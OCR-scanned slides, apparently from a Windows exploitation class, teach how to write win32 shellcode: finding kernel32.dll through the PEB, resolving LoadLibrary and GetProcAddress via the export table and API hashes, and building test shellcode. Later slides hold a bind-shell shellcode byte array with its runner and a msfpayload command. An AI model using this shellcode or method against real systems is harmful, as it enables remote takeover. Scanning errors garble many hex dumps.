PVOID BaseAddress;

PVOID EntryPoint;

ULONG SizeOfImage;
UNICODE_STRING FullDllName;

UNICODE_ STRING BasgeDllName;

ULONG Flags;

SHORT LoadCount;

SHORT TlsIndex;

LIST ENTRY HashTableEntry;

ULONG TimeDateStamp;

} LDR MODULE, *PLDR MODULE;

* Some developers/reverse engineering websites contain
documentation of the reverse engineered structures.

* However, they are not always 100% reliable. The above
documentation gives us an idea of what we are looking at,
but doesn’t completely match up with what we are seeing
in the debugger.



Mini Lab
0:000> dd 0xz4dl1lfhs LC
00z241f58 00242020 00z4d4lebc 7cS00000 7Fc9lz0f8

00z241fe8 000b2000 0208003a 7c980048 00140012
00z241f78 7c92040c 00084004 OOOQOLfff 7cSieZes
|

Spend some time using WinDbg to try to reverse engineer
the contents of this structure.

Determine which look like pointers, and which look like
data values. Inspect further anything that looks like a
pointer.

Use the previous page as a guide for what you should
“expect” to be seeing.

Reversing obscure data structures is a fundamental part of
the Windows exploitation experience, so use this as an
opportunity to familiarize yourself with the process.
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Mini Lab Wrap Up

0:000> dd 0x241f58 LC

00241f58 00242020 00Z24lebc 7c300000 7c9120f8
00z41fe8 000bZ2000 0208003a 7c980048 00140012
|00241f?8 7c92040c 00084004 OO0O0O0Lffff 7cHleles

 What inferences did you make about the data
structure? What does each value represent?

* What methodology and WinDbg commands
did you use to help you figure out the
structure?



My solution

0:000> dd 0x241f58

00241f£58 00242020 0024lebc 7c900000 T7c9lz20f8
00241fe8 000bZ000 0208003a 7c980048 00140012
I00241f78 7c92040c 00084004 OO0O0O0Lffff 7c97ele8

0:000> dd 00242020 LC
00242020 00Z41lebc 00241f58 7cg800000 7c80bbde
00242030 000f6000 00420040 00241fb0 001a0018

First | notice that 242020 is similar to the address of the
structure | am currently looking at (241f58), so they are
close in locality and 242020 is probably also a pointer.

After inspecting that address, | see it contains similar
looking data to the original data structure at 241f58. From
this | deduce 242020 is a pointer to another data structure

of the type we are inspecting.

Because | know | am dealing with a linked list structure, |
know this is probably either the forwards or backwards
pointer.

Further inference leads me to believe that 241ebcis also a
similar linked list pointer.



0:000> dd
00241£58
00241fe8
00241f78
0:000> db
7c800000
7c900010
Tc900020
7c900030
7c900040
Tc900050
Tc900060
Tc900070

0x241£58
00242020
000b2000
7c92040c
Tc900000

4d
b8
00
00
Oe
69
74
6d

5a
00
00
00
1f
73
20
6f

S0
00
00
00
ba
20
62
64

LC

00241ebc
0208003a
00084004

00
00
00
00
Oe
70
65
65

03
00
00
00
00
72
20
Ze

00
00
00
00
b4
6f
72
0d

7c900000
7c9g80048

O0O00ffff

00
00
00
00
09
67
75
0d

00-04
00-40
00-00
00-00
cd-21
72-6l
be—-20
Oa-24

Tc9120f£8
00140012

7c97e2es|

00
00
00
00
b8
bd
69
00

00
00
00
00
01
20
be
00

00
00
00
00
4c
63
20
00

£ff
00
00
do
cd
6l
44
00

ff
00
00
00
21
be
4f
00

My solution 2

00
00
00
00
54
be
53
00

00
00
00
00
68
6f
20
00

is program canno
t be run in DOS
(L]0 (=T

* | originally guessed that 7c900000 was a base
address because of its alignment. Inspecting it
reveals it to point to the start of a win32 PE
executable, so our assumption is confirmed.

* All Win32 PE executable start with the bytes
‘MZ’. To help you remember, MZ are the initials
of the inventor of the format: Mark Zbikowski.

42



My solution 3

0:000> dd 0x241f58 LC

00241£f58 00242020 0024lebc 7cS500000 7c¢cS9120f8
00241f68 000b2000 0208003a 7c980048 00140012
00241£78 7c92040c 00084004 OO00ffff 7c97eles
0:000> u 7c8120f8

ntdll! D11MainCRTStartupForGS:

7c9120f8 8bff mov edi,edi

Tc91z20fa 55 push ebp

7c9120fb 8bec mov ebp,esp

Tc9120fd 837d0c0l cmp dword ptr [ebp+0Ch],l

7c912101 0£84eaeb0000 Je ntdll! DI11MainCRTStartupForGs+0xb
7¢912107 33c¢0 XOr eax,eax

7c912109 40 inc eax

7c91210a 5d pop ebp

Since | know 7¢900000 is the base address for the module that is
currently being described, | see that 7¢9120f8 is pointing into that
module and take a wild stab in the dark that it might be the ‘entry
point” into that module.

Inspection with WinDbg shows the tell tale signs of a function
prologue. Right again!
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My solution 4

0:000> dd 0xz241f58 LC

00z241f58 00242020 00Z24lebc 7c9500000 7c¢9120f£8
00241fe8 000bZ2000 0208003a 7cH80048 00140012
00z241f78 7c92040c 00084004 OOOOLffff 7cHleles
0:000> du 7c980048

7c9g80048 VCIAWINDOWShsystem3ziyntdll.dll™

* | continue this process until | discover where the
module’s unicode name is located.

e At this point we’ve located in the data structure
where the module name is, it’s base address,
entry point, and pointers to the next data
structures in the linked list. For now, this is really
all we care about.



Down the rabbit hole

e Let’s use our new found understanding of this
data structure to traverse its encapsulated
linked list.

 We are looking for “kernel32.dll” which
contains the functions we need to call in our

shellcode.



0:000> dd 0x241f58 LC

0:000> dd 242020 Lc

0:000> du 241fb0

00z41ffo "

00241f£58 00242020 00Z4lebc 7cS00000 7c91Z0f8
00241fe8 000bZ2000 0208003a 7cH980048 00140012
00241f78 7c92040c 00084004 OO0O0O0Lffff 7cS7eles

00242020 00241lebc 00241f58 7c800000 Tc8Obode
00242030 000f6000 00420040 00z241fb0 001a0018
00242040 00241fds 00084004 OOO0O0Lffff 7cH7eZdO

00241fb0 M"CIA\WINDOWSY system3Z2ikernel3z.dll™

* |t turns out the very next entry in the linked list

describes the kernel32.dll m
for.

odule we are looking

* This isn’t a coincidence, kernel32.dll will always

be the 2" entry in the
InlnitializationOrderModule

e Thus we have a reliable met

List linked list.
nod to locate

kernel32.dll and its base ado

ress.
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Next Step

* We have spent a lot of effort trying to find
kernel32.dll, the reason is because
kernel32.dll contains two very useful functions
that will empower us to do whatever we want
in shellcode.

* These functions are LoadLibrary and
GetProcAddress.



LoadLibrary

Loads the specified module into the address space of the calling process. The specified module may cause other modules to be loaded.

For additional load options, use the LoadLibraryEx function.

HMODULE WINAPI LoadLibrary(
__in LPCTSTR 1lpFileName

);

IpFileName [in]
The name of the module. This can be either a library module (a .dll file) or an executable module (an .exe file). The name specified is the
file name of the module and is not related to the name stored in the library module itself, as specified by the LIBRARY keyword in the

module-definition (.def) file.

LoadLibrary allows us to load arbitrary DLLs into the victim
address space.

It also automatically tells us the base address of the loaded
module, thus once we have access to it we no longer have to
jump through all the hoops previously described.
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GetProcAddress

Retrieves the address of an exported function or variable from the specified dynamic-link library (DLL).

FARPROC WINAPI GetProcAddress(
__in HMODULE hModule,
__in LPCSTR lpProcName

)3

hModule [in]
A handle to the DLL module that contains the function or variable. The LoadLibrary, LoadlibraryEx, LoadPackagedLibrary, or
GetModuleHandle function returns this handle.

The GetProcAddress function does not retrieve addresses from modules that were loaded using the LOAD_LIBRARY_AS_DATAFILE flag.
For more information, see LoadLibraryEx.

IpProcName [in]
The function or variable name, or the function's ordinal value. If this parameter is an ordinal value, it must be in the low-order word; the
high-order word must be zero.

* GetProcAddress tells us the address of any function in a
DLL we previously loaded with LoadLibrary.

 Unfortunately, we can’t use GetProcAddress to find
GetProcAddress in kernel32.dll...
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* So LoadLibrary and GetProcAddress will allow us
to load any DLL we want into the process we are
exploiting, and then find out the location of the
DLLs functions so we can use their exported
functionality. But we can’t call GetProcAddress
(“LoadLibrary”) or GetProcAddress
(“GetProcAddress”) because we don’t yet know
the address of either function in kernel32.dll!

* Once again we will traverse a complicated and
nested sequence of data structures embedded in
kernel32.dll so we can find the location of the
two functions we need.



X, PEview - C:\Documents and Settings\user\Desktopikernel32.dlIl
File View Go Help

? O Qo LAMEE R NG =

0:000> db 7¢c3S00000

=g kernel32.dll WA Raw
IMAGE_DOS_HEADER 7600000 4D 5A 90 00 03 0 oo oo ¢ C200000 4d Sa 50 00 03 00 00 00-04
MS-DOS Stub Program 70800010 B3 00 00 00 00 00 0o oo /C300010 bs8 00 00 00 00 00 00 00-40
= IMAGE_NT_HEADERS 7C800020 00 0D OO0 OO 00 00 00 00 7¢S000Z20 OO OO OO OO OO OO OO 00-00
Signature 7CE00030 00 00 00 00 00 00 00 00 74300030 00 00 00 00 00 00 00 00-00

IMAGE_FILE_HEADER 70800040 OF 1F BAOE 00 B4 09 CD
IMAGE_OPTIONAL_HEADER 70800050 69 73 20 70 72 6F 67 72 | C-00040 0e 1f ba 0e 00 bd 05 cd-21
IMAGE_SECTION_HEADER text 7CB00060 74 20 62 65 20 72 75 6E /C900050 69 73 20 70 72 of o7 72Z2-6l
IMAGE_SECTION_HEADER .data 7CB00070 6D BF B4 B5 2EOD OD DA 7CS00060 74 20 62 65 20 72 75 6e-20
IMAGE_SECTION_HEADER .rsrc 7CA000B0 17 86 20 AA53 E7 4EF9 74900070 6d 6f 64 65 2e 0d 0d 0a-24

* By now we know the address of kernel32.dll in the
victim processes address space.

* The kernel32.dll that appears in memory at the base

address we discovered will closely resemble what is on
disk.

* Mostly important, the binary headers that contain meta
information about the executable and allow the loader
to run the executable, end up in the memory as well.

e We will use the information in these headers to locate
the address of GetProcAddress and LoadLibrary in
kernel32.dll.
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Repetition++

We are trying to locate GetProcAddress and
LoadLibrary in kernel32.dll.

We are trying to locate GetProcAddress and
LoadLibrary in kernel32.dll.

We are trying to locate GetProcAddress and
LoadLibrary in kernel32.dll.

We are trying to locate GetProcAddress and
LoadLibrary in kernel32.dll.



Export Address Table

‘A, PEview - C:\Documents and Settings\user\Desktopikernel32.dll

File WYew Go Help

OO

= kernel32.dll
IMAGE_DOS_HEADER
M3S-DOS Stub Program
=- IMAGE_NT_HEADERS
Signature
IMAGE_FILE_HEADER
IMAGE_OPTIONAL_HEADER
IMAGE_SECTION_HEADER .text
IMAGE_SECTION_HEADER .data
IMAGE_SECTION_HEADER .rsrc
IMAGE_SECTION_HEADER .reloc
= SECTION .text
IMPORT Address Table
IMAGE_EXPORT_DIRECTORY

EXPORT Address Table

EXPORT Mame Paointer Table

MO e o=

WA
7C802654
7CB02658
7C80265C
7802660
7802664
7802665
7CB0266C
7C802670
7CB02674
7802673
7C80267C
7802680
7802654
7802655
7C80268C

Data
D0DDAGE4
0003551D
000326F1
0007 1DFF
0o0071DC1
00059412
D0D592F6
0002BF11
00009011
00072451
0005FBED4
0003597F
D002E45A
00072639
00057254

Description
Function RVA
Function RWVA
Function RWVA
Function RWVA
Function RWVA
Function RWVA,
Function RWVA,
Function RWVA,

Forwarded Name RVA

Function RWVA
Function RWVA
Function RWVA
Function RWVA,
Function RVA,
Function RWVA

Yalue

0001 ActivateActCtx

0002 AddAtomA
0003 AddAtomvy
0004 AddConsoleAliasA
0005 AddConsoleAliasyV
0006 AddLocalAlternateComputeriar
0007 AddLocalAlternateComputeriar
0008 AddRefActCtx
0009 AddvectoredExceptionHandler -
000A AllocConsole
000B AllocateUserPhysicalPages
000C AreFileApisANSI
000D AssignProcessToJobObject
000E AttachConsole
000OF BackunRead

 DLL’s like kernel32.dll main purpose is to provide

functions for other processes to use.

* To meet this purpose, DLLs have a data structure known

as the Export Address Table that advertises the locations
of the functions the DLL provides.

Once we find the EAT we can use it to look up
GetProcAddress and LoadLibrary.
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But...

* |t's not quite that easy.

* There are actually several data structures
associated with the Export Address Table. A table
of the function names, a table of the function
ordinals, and a table of the functions relative
virtual addresses (RVAs) inside the DLL.

 And.... The EAT isn’t immediately accessible, we
first have to drill down on some of those headers
located at the start of the executable in order to
discover the EAT’s location.



kernel32.dll
IMAGE_DOS_HEADER
MS-DOS Stub Program
= IMAGE_NT_HEADERS
Signature
IMAGE_FILE_HEADER
IMAGE_OPTIONAL_HEADER
IMAGE_SECTION_HEADER .text
IMAGE_SECTION_HEADER .data
IMAGE_SECTION_HEADER .rsrc
IMAGE_SECTION_HEADER .reloc
= SECTION .text
IMPORT Address Table
IMAGE_EXPORT_DIRECTORY
EXPORT Address Table
EXPORT Mame Pointer Table
EXPORT Ordinal Table
EXPORT Names
IMAGE_LOAD_CONFIG_DIRECTORY
IMPORT Directory Table
IMPORT DLL Mames
IMPORT Narme Table
IMPORT Hints/Names
IMAGE_DEBUG_DIRECTORY
IMAGE_DEBUG_TYPE_RESERVED10
IMAGE_DEBUG_TYPE_CODEVIEW
SECTION .data
#- SECTION .rsrc
#- SECTION .reloc

VA
7CB00000
7800002
7CB00004
7800006
7CB00003
7C80000A
7CB0000C
7CB0000E
7800010
7CB00012
7C800014
7CB00016
7C800015
7CB0001A
7C80001C
7CB0001E
7800020
7CB00022
7CB00024
7800026
7CB00025
7CB0002A
7CB0002C
7C80002E
7CB00030
7800032
7CB00034
7800036
7800035
7CB0003A
7C80003C

Data Description Value
5A4D Signature IMAGE_DOS_SIGNATURE MZ
00s0 Bytes on Last Page of File
0003 Pages in File
0000 Relocations
0oo4 Size of Header in Paragraphs
0000 Minimum Extra Paragraphs
FFFF Maximum Extra Paragraphs
0000 Initial (relative) SS
0oes Initial SP
0000 Checksum
0000 Initial IP
0ooo Initial {relative) CS
0040 Offset to Relocation Table
0ooo Overlay Number
0000 Reserved
0000 Reserved
0000 Reserved
0000 Reserved
0000 QOEM Identifier
0000 QEM Information
0000 Reserved
0000 Reserved
0000 Reserved
0000 Reserved
0000 Reserved
0000 Reserved
0000 Reserved
0000 Reserved
0000 Reserved
0000 Reserved
0000DQEQ  Offset to New EXE Header

* Located at the top of the executable file (and the base
address of the DLL in memory) is the IMAGE_DOS_HEADER.

* This contains a bunch of uninteresting stuff, the only thing
useful to us is the offset to the NT_HEADER which contains

all the useful data.
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= kernel32.dll WA Raw Data Va
IMAGE_DOS_HEADER 7CB8000F0 50 45 00 00 4C 01 04 00 82 F4 C4 49 00 00 00 00 PE.
MS-DOS Stub Program 7C800100 00 00 00 OO0 EO 00 OE 21 0B 01 07 OA 00 32 08 00 . ..
=B IMAGE NT_HEADERS | 7C800110 00 04 07 00 00 00 OO OO 4E B6 00 00 00 10 00 0O . . .
Signature 7C800120 00 00 08 00 00 00 80 7C 00 10 00 00 00 02 00 OO . ..
IMAGE_FILE_HEADER 7C800130 05 00 01 00 05 00 01 00 04 00 00 OO OO OO OO OO . ..
IMAGE_OPTIONAL_HEADER 7CB800140 00 60 OF 00 00 04 00 00 72 ESOF 00 03 00 00 0O . °.
IMAGE_SECTION_HEADER text 7CB00150 00 00 04 00 00 10 00 00 00 OO0 10 00 00 10 00 OO . ..
IMAGE_SECTION_HEADER .data 7CB00160 00 00 00 00 10 00 00 00 2C 26 00 00 19 6D 00 00 . ..
IMAGE_SECTION_HEADER .rsrc 7CB00170 98 18 08 00 28 00 00 00 00 AQ 05 00 ES 5E 06 00 . ..
IMAGE_SECTION_HEADER reloc 7C800180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 . ..
= SECTION text 7C800190 00 00 OF 00 84 5C 00 00 88 41 08 00 38 00 00 OO . ..
IMPORT Address Table 7C8001A0 00 00 00 OO OO OO OO OO 00 OO OO 00 00 00 00 00 . . .
IMAGE_EXPORT_DIRECTORY 7C8001B0 00 00 00 0D OO0 0D OD OD 20 E6 04 00 40 00 00 0O . . .
EXPORT Address Table 7C8001C0O 00 00 0D 0D 0D OD OD OD 00 10 00 00 24 06 00 0O . ..
EXPORT Name Pointer Table 7C8001D0 00 00 00 0D 0D 0D OO OO 00 OO OO 00 00 00 00 00 . . .
EXPORT Ordinal Table 7CB001ED 00 00 00 00 OO0 00 00 00
EvYDMNDT hlaras

* The NT Headers area contains 3 individual headers/sets of data.

* The Signature which is just the bytes ‘PE’ for Portable
Executable.

* The IMAGE_FILE_HEADER which contains some moderately
interesting data like the timestamp on the file, the type of
executable it is (DLL, EXE, SYS, etc...) and so on

e The IMAGE_OPTIONAL HEADER which contains information
about all of the stuff the attacker really cares about.
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= kernel32.dlIl VA Data Description Yalue
IMAGE_DOS_HEADER 7C800108 010B Magic IMAGE_NT_OPTIONAL_HDR32_MAGIC
MS-DOS Stub Program 7CB80010A 07 Major Linker Version
= IMAGE_NT_HEADERS 7C30010B 0A Minor Linker Version
Signature 7C30010C 00053200 Size of Code
IMAGE_FILE_HEADER 7C800110 00070400  Size of Initialized Data
7C800114 00000000 Size of Uninitialized Data
IMAGE_SECTION_HEADER .text 7C800118  OOOOBB4E  Address of Entry Point
IMAGE_SECTION_HEADER .data 7C80011¢C 00001000  Base of Code
IMAGE_SECTION_HEADER .rsrc 7C800120 00080000  Base of Data
IMAGE_SECTION_HEADER .reloc 7C800124 7C800000 Image Base
= SECTION .text 7800128 00001000 Section Alignment
IMPORT Address Table 7C80012¢C 00000200 File Alignment
IMAGE_EXPORT_DIRECTORY 7C800130 00oos Major O/S Version
EXPORT Address Table 7C800132 0001 Minor O/S Version
EXPORT Name Pointer Table 7CB800134 0oos Major Image Version
EXPORT Ordinal Table 7C3800136 0oo1 Minor Image Version
EXPORT Names 7CB00138 0004 Major Subsystem Yersion
IMAGE_LOAD_CONFIG_DIRECTORY 7C80013A 0000 Minor Subsystem Yersion
IMPORT Directory Table 7C80013C 00000000 Win32 Version Value
IMPORT DLL Names 7C800140 000FB000  Size of Image
IMPORT Mame Table 7CB800144 00000400  Size of Headers
IMPORT Hints/Names 7C800148  OOOFES72  Checksum
IMAGE_DEBUG_DIRECTORY 7C80014C 0003 Subsystem IMAGE_SUBSYSTEM_WINDOWS_CUI
IMAGE_DEBUG_TYPE_RESERVED10 7C80014E 0000 DLL Characteristics
IMAGE_DEBUG_TYPE_CODEVIEW 7C800150 00040000  Size of Stack Reserve
SECTION .data 7C800154 00001000 Size of Stack Commit
#- SECTION .rsrc 7C3800158 00100000  Size of Heap Reserve
#- SECTION .reloc 7C30015C 00001000  Size of Heap Commit
7C800160 00000000  Loader Flags
7C800164 00000010 Mumber of Data Directories Ly et
7C800168 0000262C RWA CEXPORT Table ’
7C80016C  00006D1S  Size
7C800170 00081898 RVA IMPORT Table
TOoONN4ATA [T T T T iy L} Ol

* |nside the IMAGE_OPTIONAL HEADER we find
the RVA to the EAT.



‘A, PEview - C:\Documents and Settingstuser\Desktopikernel32.dll

File View Go Help

QOO

= kernel32.dll
IMAGE_DOS_HEADER
MS-DOS Stub Program
=- IMAGE_NT_HEADERS
Signature
IMAGE_FILE_HEADER
IMAGE_OPTIONAL_HEADER
IMAGE_SECTION_HEADER .text
IMAGE_SECTION_HEADER .data
IMAGE_SECTION_HEADER .rsrc
IMAGE_SECTION_HEADER .reloc
=- SECTION .text
IMPORT Address Table

IMAGE_EXPORT_DIRECTORY

data structure.

VML R

WA
7C80262C
7CB02630
7CB02634
7CB02636
7CB02638
7CB0263C
7CB802640
7CB802644
7CB02648
7CB0264C
7CB802650

Data
00000000
49C4D12E
0000
0000
00004B98
00000001
000003BA
000003BA
00002654
0000353C
00004424

Description Value
Characteristics
Time Date Stamp
Major Version
Minor Yersion
Name RVA
Ordinal Base

Number of Functions

2009/03/21 Sat 11:36:14 UTC

KERNEL32.4dll
Number of Names

Address Table RVA )IM P orrtaNt

Name Pointer Table RVA
Ordinal Tabhle RWVA

The RVA for the EAT we just received leads us to this

The names table contains an array of pointers to

ASCI| strings of the exported function names.

The address table contains an array of pointers to the

actual functions that the DLL exports.

The ordinal table kind of links the names table and
the address table.
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Using the EAT

The locate a function named “function” using the EAT we do
the following.

First, iterate through the names table comparing each one
of the strings referenced in the table to “function.” Let’s say
that the x’th entry in the names table is “function”, in other
words namesTable[x] == “function.”

Then we get function’s ordinal in the x’th entry of the
ordinal table. So functionOrdinal = ordinalTable[x].

Now we can retrieve function’s RVA inside the DLL by
looking at the x’th entry of the addressTable. functionRVA =
addressTable[functionOrdinal].

Finally, we can calculate where “function” actually exists in
a processes address space by adding functionRVA to the
base address of kernel32.dll in the victim process.

functionAddress = functionRVA + DLL base address

This allows us to call functionAddress!!!



Testing your understanding

* |f you really understand the process | just
described, you should be able to use WinDbg
to find the address of “AddAtomA” in

basic_vuln’s address space.

 AddAtomaA is a function exported by
kernel32.dll.



A little help

X PEview - C:\Documents and Settings\user\Desktoplkernel32.dll

el Wiew G0 el 0:000> db 7c¢S00000
70000 ¥ XH|w=== 7¢900000 4d 5a 90 00 03 00 00 00-04
e — —(A_1__Dala | Desuibiiy 7c900010 b8 00 00 00 00 00 00 00-40
_DOS_ ignature
MS-DOS Stub Program 7C800002 0oso Bytes on Last Page of File 7c300020 00 00 00 00 00 00 00 00-00
= IMAGE_NT_HEADERS 7CB800004 0003 Pages in File TcS00030 00 00 OO0 OO 00 OO 0O 00-00
Signature 7C800006 0000 Relocations _
IMAGE_FILE_HEADER 7C3800008 0004 Size of Header in Paragrapr? c900040 Og 1f ba Oe 00 b4 09 cd-Z1
IMAGE_OPTIONAL_HEADER 7C80000A 0000 Minimum Extra Paragraphs £ C900050 69 73 20 70 72 of 67 7Z2-61
IMAGE_SECTION_HEADER .text 7C80000C FFFF Maximum Extra Paragraphs7 900060 74 20 62 65 20 72 75 6e—20
IMAGE_SECTION_HEADER .data 7C80000E 0000 Initial (relative) SS
IMAGE_SECTION_HEADER _rsrc 70800010 00BS  Initial SP 7c300070 6d 6f 64 65 Ze 0d 0d Oa-24
IMAGE_SECTION_HEADER .reloc 7C800012 0000 Checksum
- QFECTINK tavt Frannnt A nnnn Initial 1D

* First start by using WinDbg to look at the bytes
at the kernel32.dll base address.

* Then open up kernel32.dll in PEView and use it
to help you interpret the bytes you are looking
at, and the datastructures they represent.
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Room for improvement

* When searching through the EAT name’s
table, comparing each string to
“GetProcAddress” or “LoadLibrary” is costly
from an instruction count stand point, and
from a shellcode size stand point because it
requires that we hardcode the
“GetProcAddrss” and “LoadLibrary” strings
somewhere in our shellcode.



Waste not, want not

* |nstead of comparing string values, common
practice is to hash each string in the EAT names
table with a simple 32bit hash producing function
and compare it to precalculated hashes for
“LoadLibrary” and “GetProcAddress.”

* This is simple to implement, and allows us to
store hardcoded 32bit hashes instead of
wastefully storing the entire ascii strings for
“LoadLibrary” and “GetProcAddress.”

 Comparing 32bit values on the x86 architecture is
very simple and fast.



Hash function

* For each character c in string: h=((h<<5)]|
(h>>27))+c

* This simple hash function is fairly ubiquitous
among win32 shellcode.

* |t produces hash values for GetProcAddress
and LoadLibraryA that equal Ox7cOdfcaa and
OxecOe4e8e respectively.

*Hash function taken from:
http://www.hick.org/code/skape/papers/win32-shellcode.pdf




Round up

 The win32 shellcode process we have covered can be

1)

2)

summarized as follows:

First locate kernel32.dllI’'s base address by walking from the
TEB to the PEB to the loaded modules linked list.
Kernel32.dll is always the second member of this linked list.

Locate kernel32.dllI’'s EAT by walking through the executable
headers located at kernel32.dllI’s base address. Then use the
EAT’s names table, ordinal table, and address table to locate
the addresses of GetProcAddress and LoadLibrary.

Use LoadLibrary to load arbitrary DLL’s into the victim
processes address space.

Use GetProcAddress to locate the address of functions that
those DLLs provide us.

Use LoadLibrary in conjunction with GetProcAddress to load
and resolve functions to perform arbitrary functionality.



Hello World shellcode example

VirtualProtectEx (-1, (void *)main, 0x1000,PAGE EXECUTE READWRITE, &oldProtect);

asin mov eax,

asin mov ebx easz

asm mov

asin moyv edx

asin movy ebp

asin mov eax

___asm mov ebx eax+ebp+0 8]:

Tip: you can embed your shellcode into a standard C file using inline assembly as shown
here. This can often make dumping/using your shellcode bytes to create a payload easier.

Also notice the call to VirtualProtectEx. | am setting the program’s code section to writeable
(which it normally isn’t), that way the shellcode won’t crash when it modifies itself in this
testbed.

When your exploit/shellcode is actually running after a successful exploit has taken place,
this won’t be necessary because your shellcode will probably be running in a data region
such as the stack which is already marked as writeable.



8 start shellco
asm mos shellcode ad

asm lea ea
asm end

len = S start shellcode address;

printf ("shellcode len: 1", len);

P L
printf ("%02x "

printf {("\n");

Notice how embedding the shellcode in the C file
allows us to easily parse out the relevant bytes, and

how big the shellcode is.
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More tips

C : \c1ass\he11o shellcode>cl /Zi main.c

(R) 32-bit C/C++ Optimizing Compiler version 15.00.30729.01 for 80x86
(C) Microsoft Corporation. All rights reserved.

: warning C4022: 'VirtualProtectEx' : pointer mismatch for actual parameter 1
\c1ass\he11o shellcode\main.c(44) : warning C4731: 'main' : frame pointer register ‘'ebp' modified
by inline assembly code

c.\c]ass\he11o_she11code\ma1n.c(220) : warning C4731: 'main' : frame pointer register 'ebp' modified

by inline assembly code
i (R) Incremental Linker version 9.00.30729.01
(C) Microsoft Corporation. All rights reserved.

/out:main.exe

* You can compile your C programs, like the example
shellcode with the cl compiler. Cl is actually what visual
studio is using on the back end. This option is often
convenient for smaller programs (like exploits) so you
don’t have to deal with all the bloat associated with
visual studio.

* The /Ziflag tell’s cl to generate debugging symbols, this
will make WinDbg much more informative when
debugging.



Running shellcode example

C: \c1ass\he]1o shellcode>c1l /Z1 main.c
(R) 32-bit C/C++ 0pt1m1z1ng Compiler Version 15.00.30729.01 for 80x86

(C) Microsoft Corporation. All rights reserved.

in. : warning C4022: "‘ou ~tectEx' po1nter m1smatch for actual parameter 1
c:\class\hello_shellcode\main.owned .ar‘mng C4731: 'main' : frame pointer register 'ebp' modified
by inline assembly code
c:\class\hello_shellcode\main | warning €4731: 'main’

by inline assembly code
Microsoft (R) Incremental Linlissms@n 9.00.30729.01
Copyright (C) Microsoft Corpoi 1T rights reserved.

: frame pointer register 'ebp' modified

C:\class\hello_shellcode>main.exe

e For a protypical “hello world” style shellcode
example, I've used LoadLibrary to load user32.dll into
the process address space, then GetProcAddress to
find the address of the MessageBox function.

 The MessageBox function is what’s responsible for
the lovely message you are now viewing.



C:\class\hello_shellcode>main.

shellcode len: 236

C:\class\hello_shellcode>

* The C program that contains the shellcode also
prints out the shellcode bytes once the shellcode
has run its course.

* Notice all the bad bytes, like null and newlineg, in

the shellcode payload. We aren’t going to worry
about them.



* Getting rid of the bad bytes is just an exercise in
assembly manipulations, you should all know how to
this this already.

e Overflows that occur in binary data structures (as
opposed to ascii strings) can have bad bytes in them.
For instance, an overflow in a client side application
will often be overflowing a binary data structure like
the structure associated with an icon bitmap,
embedded executable, or something of that sort.

e Basically | am making things easier on you because |
am a nice guy, but the scenario is still realistic.



Other shellcode options

$ cat bindshell.c
#include <stdio.h>
#include <windows.h>

unsigned char ¥shellcode =

"A\xeB8A\x3B8AX00\x00\x00\ x4 3\ x4d\x44\x00\ xe7
"AxdI\x09\ x5\ xad\xcb\xed\xfc\x3b\x8e\x4e
"AXS INXIZAXS FAXI INAX3 2\ x2 e\ x4 4\ x4 c\ x4 c\x00
"AXA 0\ X0 cAXxBbA\ X7 0\ x1c\xad\x8b\x58\x08\ xeb
"Ax5e\x01\xee\xba\x0a\x59\x8b\x7d\x00\x80
"AxB89\x04\xBe\xe2 \xeb\x3 1\ xFF\x66\x81l\xec
"AXATAXS TAXA T AXS IAXTFAXS 5 A1\ x89\xc I\ x31
"AXS SAXLIBAXS 7AXS INXTFFAAXS SAX14A\X57\x56\ %53
"AXISAX5 9\ XTI\ xab\x89\xd7\xcb\x44\x24\x10
"AXZ2ANXS5 0AXBANAXA AN\ X2 A\ XL O\ X554\ x50 \x51\x51
"AXD aAXTFAXTFFAXI IAXTFAXS S5AXZ2 e\ XS 7 AXTFTFAX55
"AXBbAXSAA\X05\ 78\ x01\ xea\x8b\x4a\x18\x8b
"Ax31\xcO\xac\x3IBA\xe 0\ x74\x07 \xc1\xcf\x0d
"Ax66AXBbAX0c\x4b\x8b\x5a\x1c\x01\xeb\x8b
"Ax08\x00";

int main(Q)

unsigned int oldProtect;

void (¥Yf)(void);

VirtualProtecteEx(-1l, (void ¥)shellcode, 0
f = (void ¥)shellcode;

fO;

return 0;

}

3 ./bindshe11.exe

Telnet localhost

Microsoft wWwindows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

c:\class\bindshell_shellcodex>dir C:\
dir C:\

Volume in drive C has no Tlabel.
volume Serial Number is E4EE-B686

Directory of C:\

10/27/2011 : PM
11/16/2008 : PM
01/01/2012 : PM
11/16/2008 : PM
11/17/2008 : AM
11/15/2011 : PM
10/28/2011 : PM
10/09/2011 : PM
11/17/2008 : AM
11/15/2011 : PM
12/16/2010 : PM
10/31/2011 : PM
11/15/2011 : PM
11/15/2011 : PM
12/02/2011 : AM
11/15/2011 : PM
12/27/2011 : PM

937a8ad229b48d619b70614b
AUTOEXEC. BAT

class

CONFIG.SYS

cygwin

Documents and Settings
eaec9b07526363424defb9
example. txt
fc58ff541c4598955df676a2ad
firefox-src

klog. txt

mordor

<DIR> mozilla-build

<DIR> Program Files

<DIR> smac

<DIR> WinDDK

<DIR> WINDOWS

4 File(s) 167 bytes

13 pirds) 6,116,130,816 bytes free

c:\class\bindshell_shellcode>

<DIR>
<DIR>
<DIR>
<DIR>
<DIR>

<DIR>
<DIR>

<DIR>

A more useful shellcode I've included is one that
binds a cmd.exe shell to port 8721. This allows an
attacker to connect to the exploited machine and
accomplish whatever he pleases.



Real world shellcode

* Cmd.exe port binding shellcode is still often not
very useful since the victim machine is often
behind a firewall, so you wouldn’t be able to
connect to the port with the cmd.exe shell on it.

* |nstead, the attacker can develop shellcode that
causes the victim machine to connect to a
hardcoded server address/port and receive
commands to execute from the server.

 Another commonly used option is to have the
shellcode download and execute a binary stored
at a hardcoded http location. The binary that is
downloaded/executed is typically a rootkit or
something of that nature.



Easy shellcode generation

[ Microsoft Windows XP x86 DEBUG Build Environment

msfpayload
msfpescan
msfrop
msfrpc
msfrpcd
msfupdate
ms fvenom
<DIR> plugins
README
<DIR> scripts
<DIR> test
<DIR> tools
18 File(s) 74,433 bytes
12 pir(s) 9,424,752,640 bytes free

C:\class\metasploit>ruby msfpayload windows/exec CMD=calc.exe C

C: /Ruby193/1ib/ruby/1.9.1/rubygems /custom_require.rb:36:in ‘require': iconv will be deprecated in th
e future, use String#encode instead.
4

¥ windows fexec - 200 bytes

¥ http://www.metasploit.com

¥ VERBOSE=false, EXITFUNC=process, CMD=calc.exe
h 4

unsigned char buf[]
"\xfc\xe8\x89\xOO\xOO\xOO\xGO\x89\xe5\x31\xd2\x64\x8b\x52\x30"
